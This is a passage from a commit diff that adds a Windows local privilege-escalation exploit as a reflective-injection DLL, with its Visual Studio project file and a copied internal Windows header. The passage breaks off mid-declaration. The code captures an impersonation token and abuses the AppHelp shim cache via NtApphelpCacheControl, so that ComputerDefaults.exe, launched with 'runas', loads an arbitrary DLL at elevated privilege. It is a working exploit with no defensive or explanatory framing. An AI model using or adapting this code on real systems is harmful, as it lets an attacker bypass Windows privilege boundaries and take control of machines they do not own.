wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage());
if (pJob)
{
pJob->Cancel();
}
return false;
}
return true;
}
class CoInitializer
{
public:
CoInitializer()
{
CoInitialize(NULL);
}
~CoInitializer()
{
CoUninitialize();
}
};
HANDLE CaptureImpersonationToken()
{
CoInitializer coinit;
HANDLE token = nullptr;
if (DoCaptureToken(&token))
{
return token;
}
return nullptr;
}

View File

@ -0,0 +1,272 @@
//#include "stdafx.h"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "my_winternl.h"
#include "sdb.h"
#include <string>
#include <combaseapi.h>
#include <shellapi.h>
#define BUF_SIZE 0x108
#define MAX_ENV 32767
enum APPHELPCOMMAND
{
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
AppHelpRemove, // 1 -> 0x22007
AppHelpUpdate, // 2 -> 0x2200B (Admin)
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
AppHelpQueryModule, // 9 -> 0x220027
AppHelpRefresh, // 10 -> 0x22002B
AppHelpCheckForChange, // 11 -> 0x22002F
AppHelpQueryHwId, // 12 (doesnt go to driver, calls AchCacheQueryHwId)
};
struct ApphelpCacheControlData
{
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
DWORD query_flags; // 0x98;
DWORD cache_flags; // 0x9C
HANDLE file_handle; // 0xA0
HANDLE process_handle; // 0xA4
UNICODE_STRING file_name; // 0xA8
UNICODE_STRING package_name;// 0xB0
DWORD buf_len; // 0xB8
LPVOID buffer; // 0xBC
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
UNICODE_STRING module_name; // 0xEC (used for 9)
BYTE unkF4[0x14]; // 0xF4 -> 0x108
};
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
HANDLE CaptureImpersonationToken();
struct APPHELP_QUERY
{
int match_tags[16];
int unk40[16];
int layer_tags[8];
int flags;
int main_tag;
int match_count;
int layer_count;
GUID exe_guid;
int unkC0[264 / 4];
};
BOOL resolveSdbFunctions();
extern SdbOpenDatabase SdbOpenDatabasePtr;
extern SdbCloseDatabase SdbCloseDatabasePtr;
extern SdbTagToString SdbTagToStringPtr;
extern SdbGetFirstChild SdbGetFirstChildPtr;
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
extern SdbGetNextChild SdbGetNextChildPtr;
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
{
TAG tmpTag = 0;
DWORD dwD = 0;
TAGID newtid = TAGID_NULL;
LPCTSTR tmp;
DWORD i = 0;
GUID guid;
newtid = SdbGetFirstChildPtr(db, tid);
while (newtid != TAGID_NULL)
{
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
tmp = SdbTagToStringPtr(tmpTag);
// process tag types
switch (tmpTag & 0xFFFF)
{
case TAG_EXE_ID:
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
{
if (IsEqualGUID(guid, exe_guid))
{
return tid;
}
}
break;
default:
break;
}
// recursive
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
{
TAGID ret = findExeByGuid(db, newtid, exe_guid);
if (ret != 0)
{
return ret;
}
}
// get next tag
newtid = SdbGetNextChildPtr(db, tid, newtid);
}
return 0;
}
TAGID GetTagForRegsvr32()
{
resolveSdbFunctions();
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
if (!db)
{
DWORD stat = GetLastError();
printf("Failed to load SDB file %d\n", stat);
return 0;
}
GUID guid;
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
SdbCloseDatabasePtr(db);
return ret;
}
LPWSTR GetEnvVar(LPWSTR env)
{
WCHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
DWORD CALLBACK ExploitMain(char * lpReserved)
{
WCHAR dllpath_buf[MAX_PATH];
WCHAR payloadPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
{
printf("Couldn't get fullpath to dll %d\n", GetLastError());
return 1;
}
std::wstring dllpath;
dllpath = L"\"";
dllpath += dllpath_buf;
dllpath += L"\"";
TAGID tag = GetTagForRegsvr32();
if (tag == 0)
{
printf("Failed to get SDB tag for regsvr32\n");
return 1;
}
printf("Found regsvr32.exe tag: %08X\n", tag);
HANDLE token = CaptureImpersonationToken();
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
ApphelpCacheControlData data = { 0 };
std::wstring exe = GetEnvVar(L"SystemRoot");
exe += L"\\System32\\ComputerDefaults.exe";
std::wstring full_path = L"\\??\\";
full_path += exe.c_str();
printf("Interposing on cache for %ls\n", full_path.c_str());
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr, OPEN_EXISTING, 0, 0);
if (data.file_handle == INVALID_HANDLE_VALUE)
{
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
return 1;
}
data.query_flags = 0xFF;
data.cache_flags = 1;
APPHELP_QUERY query = { 0 };
query.match_count = 1;
query.layer_count = 0;
query.match_tags[0] = tag;
query.unkC0[0] = 1;
data.buffer = &query;
data.buf_len = sizeof(query);
int status = -1;
// Ensure it the cache if flushed
fNtApphelpCacheControl(AppHelpRemove, &data);
if (SetThreadToken(nullptr, token))
{
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
RevertToSelf();
}
else
{
status = GetLastError();
}
if (status == 0)
{
LPCWSTR verb = L"runas";
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
}
else
{
printf("Error adding cache entry: %08X\n", status);
}
return 0;
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
ExploitMain((char*)lpReserved);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,106 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{41275E8F-395F-492A-9770-38FE2FAA9669}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>exploit</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="my_winternl.h" />
<ClInclude Include="sdb.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="CaptureImpersonationToken.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="sdb_functions.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,866 @@
#ifndef _WINTERNL_
#define _WINTERNL_
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#if (_WIN32_WINNT >= 0x0500)
#include <windef.h>
#ifdef __cplusplus
extern "C" {
#endif
//
// These data structures and type definitions are needed for compilation and
// use of the internal Windows APIs defined in this header.
//
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef CONST char *PCSZ;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;
typedef PSTRING PCANSI_STRING;
typedef STRING OEM_STRING;
typedef PSTRING POEM_STRING;
typedef CONST STRING* PCOEM_STRING;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
//
// The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB
// and TEB structures are subject to changes between Windows releases; thus,
// the field offsets and reserved fields may change. The reserved fields are
// reserved for use only by the Windows operating systems. Do not assume a
// maximum size for these structures.
//
// Instead of using the InMemoryOrderModuleList field of the
// LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules
//
// Instead of using the IsBeingDebugged field of the PEB structure, use the
// Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent
//
// Instead of using the SessionId field of the PEB structure, use the Win32
// APIs GetCurrentProcessId and ProcessIdToSessionId
//
// Instead of using the Tls fields of the TEB structure, use the Win32 APIs
// TlsAlloc, TlsGetValue, TlsSetValue and TlsFree
//
// Instead of using the ReservedForOle field, use the COM API
// CoGetContextToken
//
// Sample x86 assembly code that gets the SessionId (subject to change
// between Windows releases, use the Win32 APIs to make your application
// resilient to changes)
// mov eax,fs:[00000018]
// mov eax,[eax+0x30]
// mov eax,[eax+0x1d4]
//
//
// N.B. Fields marked as reserved do not necessarily reflect the structure
// of the real struct. They may simply guarantee that the offets of
// the exposed fields are correct. When code matches this pattern,
//
// TYPE1 ExposedField1;
// BYTE ReservedBytes[b];
// PVOID ReservedPtrs[p];
// TYPE2 ExposedField2;
//
// or that pattern with ReservedBytes and ReservedPtrs swapped, it is
// likely that 'b' and 'p' are derived from the following system:
//
// GapThirtyTwo = 4p + b
// GapSixtyFour = 8p + b
//
// where GapThirtyTwo is the number of bytes between the two exposed
// fields in the 32-bit version of the real struct and GapSixtyFour
// is the number of bytes between the two exposed fields in the 64-bit
// version of the real struct.
//
// Also note that such code must take into account the alignment of
// the ReservedPtrs field.
//
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef
VOID
(NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) (
VOID
);
typedef struct _TEB {
PVOID Reserved1[12];
_PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle; // Windows 2000 only
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
} DUMMYUNIONNAME;
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef
VOID
(NTAPI *PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
_PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {
ULONG RegistryQuotaAllowed;
ULONG RegistryQuotaUsed;
PVOID Reserved1;
} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;
typedef struct _SYSTEM_BASIC_INFORMATION {
BYTE Reserved1[24];
PVOID Reserved2[4];
CCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
typedef struct _SYSTEM_TIMEOFDAY_INFORMATION {
BYTE Reserved1[48];
} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;
typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
BYTE Reserved1[312];
} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;
typedef struct _SYSTEM_EXCEPTION_INFORMATION {
BYTE Reserved1[16];
} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;
typedef struct _SYSTEM_LOOKASIDE_INFORMATION {
BYTE Reserved1[32];
} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;
typedef struct _SYSTEM_INTERRUPT_INFORMATION {
BYTE Reserved1[24];
} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;
typedef struct _SYSTEM_POLICY_INFORMATION {
PVOID Reserved1[2];
ULONG Reserved2[3];
} SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1
} FILE_INFORMATION_CLASS;
typedef enum _PROCESSINFOCLASS {
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS;
typedef enum _THREADINFOCLASS {
ThreadIsIoPending = 16
} THREADINFOCLASS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45,
SystemPolicyInformation = 134,
} SYSTEM_INFORMATION_CLASS;
//
// Object Information Classes
//
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation = 0,
ObjectTypeInformation = 2
} OBJECT_INFORMATION_CLASS;
//
// Public Object Information definitions
//
typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION {
ULONG Attributes;
ACCESS_MASK GrantedAccess;
ULONG HandleCount;
ULONG PointerCount;
ULONG Reserved[10]; // reserved for internal use
} PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION;
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG Reserved[22]; // reserved for internal use
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;
#if (_WIN32_WINNT >= 0x0501)
//
// use the WTS API instead
// WTSGetActiveConsoleSessionId
// The active console id is cached as a volatile ULONG in a constant
// memory location. This x86 memory location is subject to changes between
// Windows releases. Use the WTS API to make your application resilient to
// changes.
//
#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) )
#endif // (_WIN32_WINNT >= 0x0501)
//
// These functions are intended for use by internal core Windows components
// since these functions may change between Windows releases.
//
#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length))
#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length))
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
//
// use the Win32 API instead
// CloseHandle
//
__kernel_entry NTSTATUS
NTAPI
NtClose(
IN HANDLE Handle
);
//
// use the Win32 API instead
// CreateFile
//
__kernel_entry NTSTATUS
NTAPI
NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);
//
// use the Win32 API instead
// CreateFile
//
__kernel_entry NTSTATUS
NTAPI
NtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
//
// use the Win32 API instead
// N/A
//
__kernel_entry NTSTATUS
NTAPI
NtRenameKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING NewName
);
//
// use the Win32 API instead
// RegNotifyChangeKeyValue
//
__kernel_entry NTSTATUS
NTAPI
NtNotifyChangeMultipleKeys(
_In_ HANDLE MasterKeyHandle,
_In_opt_ ULONG Count,
_In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[],
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG CompletionFilter,
_In_ BOOLEAN WatchTree,
_Out_writes_bytes_opt_(BufferSize) PVOID Buffer,
_In_ ULONG BufferSize,
_In_ BOOLEAN Asynchronous
);
//
// use the Win32 API instead
// RegQueryValueEx
//
typedef struct _KEY_VALUE_ENTRY {
PUNICODE_STRING ValueName;
ULONG DataLength;
ULONG DataOffset;
ULONG Type;
} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY;
__kernel_entry NTSTATUS
NTAPI
NtQueryMultipleValueKey(
_In_ HANDLE KeyHandle,
_Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries,
_In_ ULONG EntryCount,
_Out_writes_bytes_(*BufferLength) PVOID ValueBuffer,
_Inout_ PULONG BufferLength,
_Out_opt_ PULONG RequiredBufferLength
);
//
// use the Win32 API instead
// N/A
//
typedef enum _KEY_SET_INFORMATION_CLASS {
KeyWriteTimeInformation,
KeyWow64FlagsInformation,
KeyControlFlagsInformation,
KeySetVirtualizationInformation,
KeySetDebugInformation,
KeySetHandleTagsInformation,
MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum
} KEY_SET_INFORMATION_CLASS;
__kernel_entry NTSTATUS
NTAPI
NtSetInformationKey(
_In_ HANDLE KeyHandle,
_In_ _Strict_type_match_
KEY_SET_INFORMATION_CLASS KeySetInformationClass,
_In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation,
_In_ ULONG KeySetInformationLength
);
//
// use the Win32 API instead
// DeviceIoControl
//
__kernel_entry NTSTATUS
NTAPI
NtDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
//
// use the Win32 API instead
// WaitForSingleObjectEx
//
NTSTATUS
NTAPI
NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
//
// use the Win32 API instead
// CheckNameLegalDOS8Dot3
//
BOOLEAN
NTAPI
RtlIsNameLegalDOS8Dot3(
IN PUNICODE_STRING Name,
IN OUT POEM_STRING OemName OPTIONAL,
IN OUT PBOOLEAN NameContainsSpaces OPTIONAL
);
//
// This function might be needed for some of the internal Windows functions,
// defined in this header file.
//
_When_(Status < 0, _Out_range_(>, 0))
_When_(Status >= 0, _Out_range_(== , 0))
ULONG
NTAPI
RtlNtStatusToDosError(
NTSTATUS Status
);
//
// use the Win32 APIs instead
// GetProcessHandleCount
// GetProcessId
//
__kernel_entry NTSTATUS
NTAPI
NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
//
// use the Win32 API instead
// GetThreadIOPendingFlag
//
__kernel_entry NTSTATUS
NTAPI
NtQueryInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
//
// use the Win32 APIs instead
// GetFileInformationByHandle
// GetFileInformationByHandleEx
// GetProcessInformation
// GetThreadInformation
//
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryObject(
_In_opt_ HANDLE Handle,
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
_In_ ULONG ObjectInformationLength,
_Out_opt_ PULONG ReturnLength
);
//
// use the Win32 APIs instead
// GetSystemRegistryQuota
// GetSystemTimes
// use the CryptoAPIs instead for generating random data
// CryptGenRandom
//
__kernel_entry NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
//
// use the Win32 API instead
// GetSystemTimeAsFileTime
//
__kernel_entry NTSTATUS
NTAPI
NtQuerySystemTime(
OUT PLARGE_INTEGER SystemTime
);
//
// use the Win32 API instead
// LocalFileTimeToFileTime
//
NTSTATUS
NTAPI
RtlLocalTimeToSystemTime(
IN PLARGE_INTEGER LocalTime,
OUT PLARGE_INTEGER SystemTime
);
//
// use the Win32 API instead
// SystemTimeToFileTime to convert to FILETIME structures
// copy the resulting FILETIME structures to ULARGE_INTEGER structures
// perform the calculation
//
BOOLEAN
NTAPI
RtlTimeToSecondsSince1970(
PLARGE_INTEGER Time,
PULONG ElapsedSeconds
);
//
// These APIs might be need for some of the internal Windows functions,
// defined in this header file.
//
VOID
NTAPI
RtlFreeAnsiString(
PANSI_STRING AnsiString
);
VOID
NTAPI
RtlFreeUnicodeString(
PUNICODE_STRING UnicodeString
);
VOID
NTAPI
RtlFreeOemString(
POEM_STRING OemString
);
VOID
NTAPI
RtlInitString(
PSTRING DestinationString,
PCSZ SourceString
);
VOID
NTAPI
RtlInitAnsiString(
PANSI_STRING DestinationString,
PCSZ SourceString
);
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSTATUS
NTAPI
RtlAnsiStringToUnicodeString(
PUNICODE_STRING DestinationString,
PCANSI_STRING SourceString,
BOOLEAN AllocateDestinationString
);
NTSTATUS
NTAPI
RtlUnicodeStringToAnsiString(
PANSI_STRING DestinationString,
PCUNICODE_STRING SourceString,
BOOLEAN AllocateDestinationString
);
NTSTATUS
NTAPI
RtlUnicodeStringToOemString(
POEM_STRING DestinationString,
PCUNICODE_STRING SourceString,
BOOLEAN AllocateDestinationString
);
//
// Use the Win32 API instead
// WideCharToMultiByte
// set CodePage to CP_ACP
// set cbMultiByte to 0
//
NTSTATUS
NTAPI
RtlUnicodeToMultiByteSize(
_Out_ PULONG BytesInMultiByteString,
